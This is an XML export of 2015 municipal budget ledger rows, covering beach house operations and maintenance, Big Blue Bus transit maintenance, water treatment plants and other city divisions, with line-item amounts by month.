<row _id="16794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>709212.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>709212.0</total></row>
<row _id="16795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>162893.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>162893.0</total></row>
<row _id="16796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>712.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>712.0</total></row>
<row _id="16797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="16799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>562300.0</object><object_description>SMC-PICO PARTNERSHIP</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511700.0</object><object_description>TRANS FROM OTHER FUNDS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12046.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12046.0</total></row>
<row _id="16802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>72737.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72737.0</total></row>
<row _id="16803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>22660.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22660.0</total></row>
<row _id="16804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>926.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>926.0</total></row>
<row _id="16805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555015.0</object><object_description>OUTSIDE REPAIRS - BLDG MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>247201.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>247201.0</total></row>
<row _id="16806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577351.0</object><object_description>HOME VOUCHERS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>471792.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>471792.0</total></row>
<row _id="16807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401950.0</object><object_description>BLANKET UTILITY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-54000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-54000.0</total></row>
<row _id="16808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-13850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13850.0</total></row>
<row _id="16809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6108.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6108.0</total></row>
<row _id="16810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>566260.0</object><object_description>SPECIAL EVENTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>33000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33000.0</total></row>
<row _id="16811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>39688.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39688.0</total></row>
<row _id="16812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-11849.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11849.0</total></row>
<row _id="16813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="16814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="16815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>217626.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>217626.0</total></row>
<row _id="16816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>820.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7800.0</total></row>
<row _id="16817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5006.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5006.0</total></row>
<row _id="16818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3902.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3902.0</total></row>
<row _id="16819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10071.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10071.0</total></row>
<row _id="16820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533213.0</object><object_description>FAC MAINT-PREVENTATIVE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="16821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533214.0</object><object_description>FAC MAINT-REPAIRS-HIST SAVINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>126000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>126000.0</total></row>
<row _id="16822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1527.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1527.0</total></row>
<row _id="16823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>120153.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120153.0</total></row>
<row _id="16824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>29.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29.0</total></row>
<row _id="16826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>581.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>581.0</total></row>
<row _id="16827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1442.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1442.0</total></row>
<row _id="16828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9719.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9719.0</total></row>
<row _id="16829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5603.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5603.0</total></row>
<row _id="16830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51396.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51396.0</total></row>
<row _id="16831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="16832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545030.0</object><object_description>CULTURAL SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="16833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>186000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>186000.0</total></row>
<row _id="16834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>583005.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>583005.0</total></row>
<row _id="16835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>52752.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52752.0</total></row>
<row _id="16836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-134361.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-134361.0</total></row>
<row _id="16838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>209007.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209007.0</total></row>
<row _id="16839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3850.0</total></row>
<row _id="16840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15400.0</total></row>
